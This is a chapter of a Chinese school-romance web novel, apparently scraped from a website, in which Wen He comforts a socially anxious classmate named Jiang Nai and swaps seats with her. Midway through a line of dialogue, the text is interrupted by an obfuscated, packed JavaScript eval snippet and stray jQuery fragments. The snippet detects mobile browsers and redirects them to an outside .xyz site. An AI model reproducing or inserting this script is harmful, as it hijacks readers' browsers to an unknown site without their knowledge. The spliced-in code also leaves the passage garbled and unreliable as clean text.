【05】


    温禾没答话的时候，楚颂就静静站在那里。


    瞧着不高傲，态度也没有外表看起来那样不可一世。完全不催她，好像也没有因为之前她说他萨摩耶的事情生气。


    “我马上过去。”


    温禾起身站在左边过道里，顺手拖走自己刚刚坐的凳子，把她位置上的那张换给他。


    看到她的动作，楚颂拖着腔调“啧”了一声。


    “坐那么一小会儿就认椅子了？”


    “……”


    刚觉得他顺眼了半分钟，怎么一张嘴又那么欠呢。


    不把椅子拖走，要留给他少女的体温吗？


    尴不尴尬。


    神经。


    “少管我，做好你自己。”温禾落座。


    “嘁。”楚颂把桌子往前推了推，大剌剌地往椅子上一坐。


    这人似乎对自己需要的空间把控得不太到位，那么大一个砸下去，果不其然挤到后桌的女生，吓得对方一颤。


    他转过身去，道了个歉。


    像楚颂这种高大体型，大概是坐惯了宽敞的后排，这会儿突然被安排到前面反而有些拘束，有种莫名其妙的违和感。


    他自己也察觉到了，有点儿不耐烦，索性直接斜着坐。


    班主任排的座位表和他的行事风格一样干脆果断。


    一班的座位六列七行，第一排是一到六名，第二排是七到十二名，自左向右，向后排开。


    群文件都扫了一遍，温禾看到自己被任命为物理课代表，楚颂的名字则是毫无意外地印在数学课代表那一栏。


    班上的人找好座位，零零散散地陆续离开班级。


    温禾打算等夏星泽一起领书。


    她打开之前被班会打断的群聊。


    田恬：【禾，你和夏星泽有分到一个班吗？】


    温禾回答：【没有，他在我隔壁班。】


    安淼：【啊！！】


    安淼：【那我有点儿担心了。】


    安淼：【QAQ，那小子要是跑去和别的男生混在一起，没有人跟你一起吃饭怎么办！】


    温禾：【没关系啦，我可以回家吃或者让我哥来给我送饭嘛。】


    安淼：【对哦。】


    安淼：【你好像不用跟我们一样每顿都苦哈哈地吃食堂了。 ：） 】


    “苦哈哈”只是安淼夸张一点儿的说法。景兰的学费很贵，食堂更是建得豪华。南北东西的菜系，中式西式都有，甚至还配有营养师，饭菜好吃且完全不重样。


    田恬：【那你有事儿喊着夏星泽一起。】


    田恬：【如果他抛下你，我会打他。】


    温禾让她们安心，就差拍着胸脯保证。


    温禾：【虽然夏小三脑子不好使，但绝对不是那种人。】


    发完这句话，温禾听见走廊上有打闹声。


    她抬头，看见夏星泽正和一个撑着医用拐杖的家伙碰拳：“嘿兄弟，又见面了。”


    “今天早上跟你打球真的很开心。”


    “原来咱们是一个班啊，太有缘了。”


    夏星泽左边站着楚颂，右边站着那个男生，三人站在一起，黑白黑的，活像一块奥利奥饼干。


    见过嬉皮笑脸往陌生人那里蹭，对着人家一顿友好交流的傻狗吗？


    夏星泽此刻就是那个样子。


    温禾看笑了。


    她找了个“笑一下蒜了”的表情包发进群里。


    简渡白讲了句什么，夏星泽这傻小子捧场地大笑起来，两人仿佛做了知己一般。


    这个没有脑子的傻白甜。


    “啪”一声，温禾把手机放在桌子上。


    夏星泽领着人走到一班教室前门，一眼找到坐在前排的温禾。


    他抬手挥挥。


    简渡白看向夏星泽挥手的方向，瞧清温禾长相的时候倒抽一口凉气。


    “这是你朋友啊？”他问。


    怎么看着好像是之前他废物儿子搭讪失败的那位呢。


    “嗯嗯，从小一起长大的，关系可铁可铁了。”夏星泽以为温禾没看见他，清了清嗓子，喊，“苗苗，你出来一下。”


    温禾没动，她只想提刀。


    这傻子当众喊她外号干什么？


    越看越不像碳基生物。


    “苗苗？”楚颂站在他旁边，双手交叉靠在门口，眉梢微挑，随口问道，“她不是叫温禾吗？”


    “我给她取的外号，禾苗嘛。”夏星泽笑了声。


    楚颂：“这两者有什么逻辑关系吗……还是只是因为禾苗这个词……”


    夏星泽不解：“外号要什么逻辑。”


    就像安淼她们总叫他夏老三一样，明明论资排辈他应该是夏老一才对。


    温禾已经挂上礼貌的假笑。


    他怎么不把他的Q/Q密码一起告诉别人。


    夏星泽难道是初具人形的某种异形草履虫吗？


    要不然还是把夏星泽拉黑算了吧，这样就再也没有人话唠小猫一样在她耳边“喵喵、喵喵”了。


    在温禾拿手机的前一秒，夏星泽终于像在别的人类那里野够了的傻狗一样，乐呵呵走到她面前。


    他从工装裤里左掏右掏，掏出来个棒棒糖，扔在她桌子上。


    “你坐在此处不要动，我去给你领个书。”


    “……”


    温禾清晰地听见，门口那位姓名C打头的家伙，轻轻笑了声。


    她顺着那一声笑看过去，那人却慢悠悠敛起目光，仿佛刚刚只是她的幻觉一样。


    这一刻，温禾只想穿越到五年级刚回来那会儿。


    给自己挑一个智商高一点儿的玩伴。


    -


    夏星泽一走，教室里已经不剩多少人了。


    温禾本来打算和夏星泽一起去，但那傻小子已然和楚颂约好了，她懒得掺合，干脆撑着下巴，在教室里坐着休息放空自己。


    按道理来说这样空闲的时间应该用来看书和刷题。


    但报道日拿着书在教室里看的话，多少有点儿不像个正常人。


    她的位置在窗边，朝外望就是操场。


    球场里的篮球被砸得“咣咣”响，操场边缘的长椅上有人挨在一起闲谈纳凉，夏季接连不断的蝉鸣仍旧响起。


    这个陌生的地方，未来三年都会与她有关。


    思绪回转是受到几声隐隐的啜泣的牵引。


    温禾听见有人在哭。


    她回头，看见教室里只剩下坐在楚颂身后的那个女生。


    对方一开始只是在用袖子擦脸上的眼泪，注意到温禾看过来时明显一愣，而后趴了下去，把脸埋在书桌上。


    温禾记得她，楚颂入座的时候把她吓了一跳。


    按照人类的常识，温禾应该假装没听见，避免使对方觉得窘迫。


    但那强行压抑着的抽抽嗒嗒声，依然断断续续钻进她耳朵里，像一阵阵浪波，打得她心痒痒。


    纠结了一会儿，温禾小声走过去，弯下腰。


    想了想，又蹲下身，轻轻拍拍女生的胳膊：“同学，你怎么了。”


    “需要帮助吗？”她又补了句。


    抽泣声停了。


    “没事儿。你不用管我。”女生的声音弱弱的，“谢谢你。”


    温禾听到回答，起身。


    抬步要离开时，身后又传来声音：“对不起，我就是觉得我自己好没用啊。”


    这次声音清晰了些，温禾看见她从桌子上抬起头来，泪水和头发丝糊了一脸。


    温禾：“怎么啦？”


    “我前面这个人太高了，我刚刚试了一下，我坐在这里完全看不到黑板。班上好多人都比我高，可是老师说不能因为换座位的事情去找他。”


    像是水库开闸，对方的情绪一瞬间不可自控地涌了出来。


    “我也不是怪老师，也不是怪我前面这个人。”她的声音微弱下去，“我就是刚刚做了很久的心理准备，想问他能不能换座位，但就是开不了口。”


    “现在人都走了，我坐在这里越想越觉得自己是个废物，说句话这么简单的事情都做不到。可是为什么搭个话这么简单的事情我都做不到呢。我好像是个神经病。”


    她一下子崩溃，哭得抽抽嗒嗒。


    温禾大概听懂了。


    对方是个社恐，班主任的排位方式对她造成困扰，她想解决，但对被迫跟别人搭话这件事儿产生了极大的焦虑和抗拒。一番心理建设之后仍旧社交失败，连第一步都没能踏出去。


    于是瞬间情绪崩溃，在强烈的不安全感和焦虑之下产生了强烈的挫败感。


    “没事没事，别紧张。”温禾拍拍她的后背，“不用逼自己强撑着，不想主动跟人搭话也没关系的。”


    “每个人的性格不一样嘛，你可能是有一点社交恐惧症，其实很多人在不同程度上都会有一点的。你不奇怪，你只是更喜欢一个人不被打扰地处理事情而已。”


    温禾给她递过去湿巾和纸。


    女生：“谢谢。”


    过了一会儿，女生的呼吸平复下来。


    “我跟你换座位吧，你坐我那里。”


    温禾把自己的位置指给她看。


    女生慌忙摆手：“没有没有，我不是这个意思。”


    “我知道。”温禾再次蹲下身，和低着胸背垂着头的女生对视，表达自己没有误会，“是我自己愿意跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106809|179845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你换。对我来说坐哪里都可以，但是如果换个位置能帮到你，我很愿意这样做。”


    “我希望你接受我的好意，不要有负担的接受。”


    女生沉默了一会儿：“谢谢你。”


    她用湿巾擦干净脸，声音终于不带哭腔了，但仍然瓮声瓮气的：“我本来想留在附中直升的，但是我爸妈不同意，现在我身边一个熟悉的人都没有。”


    “刚刚你帮我，愿意跟我换位置，我却觉得自己更糟糕了，像是那种只知道靠哭来找大人讨糖吃的狡诈小孩子。”


    温禾在她即将陷入新一轮的内耗时及时打断：“我初中在景兰读的，也只有两个好朋友搭伴而已，现在她们都不在，只有我发小在隔壁班，我在这里也是一个人。”


    女生睫毛上糊着泪水，看向温禾。


    温禾：“要不然以后你有需要两个人做的事情就叫我吧。我可以陪你。”


    “真的吗？”


    温禾：“嗯。”


    “谢谢你，我叫江奈。”她眨着眼睛看温禾，“我知道你的名字，你叫温禾，每次联考都考第一。”


    温禾把夏星泽之前拿过来的棒棒糖递给她：“喏，用来哄你的糖。荔枝味的，喜欢吗？”


    江奈破涕为笑，珍重地接过糖：“谢谢。”


    “趁大家还没回来，去洗把脸，我们俩换位置吧。”温禾说。


    江奈有点儿担忧：“可是这样一来那个大坨就坐在你前面了。”


    温禾不可避免地想起那位大坨——楚颂。


    “没关系，我跟他……”为了减少江奈的负罪感，温禾一狠心吐出两个字，“认、识。”


    “你还没有去拿书吧，要不要我陪你。或者想自己去也没关系。”


    江奈摇摇头：“我洗完脸自己去吧，已经够麻烦你了。”


    “谢谢你，温禾。”


    短短一段交谈，温禾注意到江奈说了六个谢谢。


    这是社恐人士的标准表现，更像是一种无意识的自我保护。因为怕给别人添麻烦而产生愧疚，怕自己做得不够好、不够得体，而没办法被认可。


    于是不断用礼貌来维持自己不被讨厌的平衡。


    真是完全的社恐。


    -


    楚颂和夏星泽在图书馆领到厚厚的几摞书。


    “我去，好重啊。”夏星泽掂了掂。


    楚颂：“要我帮你多拿几本吗？”


    “不用不用，我能搞定。”


    两人往回走着，夏星泽嘴里闲不住：“对了，你和简渡白都是师大附中升上来的？”


    “嗯。”


    “那你们怎么不在附中直升高中部啊？”


    “一中更好。”


    夏星泽：“这倒是哦。”


    他突然想起什么：“对哦，我都差点儿忘了。我朋友之前也在你们附初读过一个学期，就初一那会儿。”


    “温禾？”楚颂提起这个名字，平平淡淡的。


    “对，就是她。”


    两人走了好一会儿。


    楚颂：“那她怎么后来转去景兰了？”


    夏星泽嘴上没个把门的，絮絮叨叨道：“害，她家之前情况比较特殊，爸妈老哥没一个在身边的。后来她家里人觉得去寄宿学校比较安全和方便。就给她挑了市里条件最好的一个私立学校。”


    马上又要爬五楼，夏星泽心想这楼梯可真长，到底什么时候能换教室。


    楚颂沉默无言了会儿，又随口搭话：“你们从小就关系好？”


    “可不是嘛。”夏星泽解释，“她家又没有大人管着，她说什么算什么。我小时候就喜欢跑去她家玩儿，无拘无束的。”


    一路爬上五楼。


    拐个弯就要到一班门口。


    楚颂：“换换吧，你帮我把书拿给简渡白，我帮你拿给你朋友。”


    “哦哦。”夏星泽把自己手里的两叠书拆出一叠换给楚颂，脑子突然卡机了，“……我怎么感觉好像哪里不对。”


    楚颂：“嗯？”


    夏星泽突然开智：“不对，这不都是新书吗？没区别啊……”


    “你直接把你那叠拿去给温禾不就行了。”


    楚颂：“……”


    -


    温禾坐在位置上听歌。


    虽然现在这个位置比她之前的往后了一排，但好在比较靠近中间，也挺不错的。


    如果前面没坐着个庞然大物就更好了。


    教室前门突然出现个人影。


    楚颂抱着高高一摞书进来。


    他看见温禾这会儿坐的位置，也没问什么，直接把其中一摞往她桌上放。


    “喏。”


    “你朋友给你拿的书。”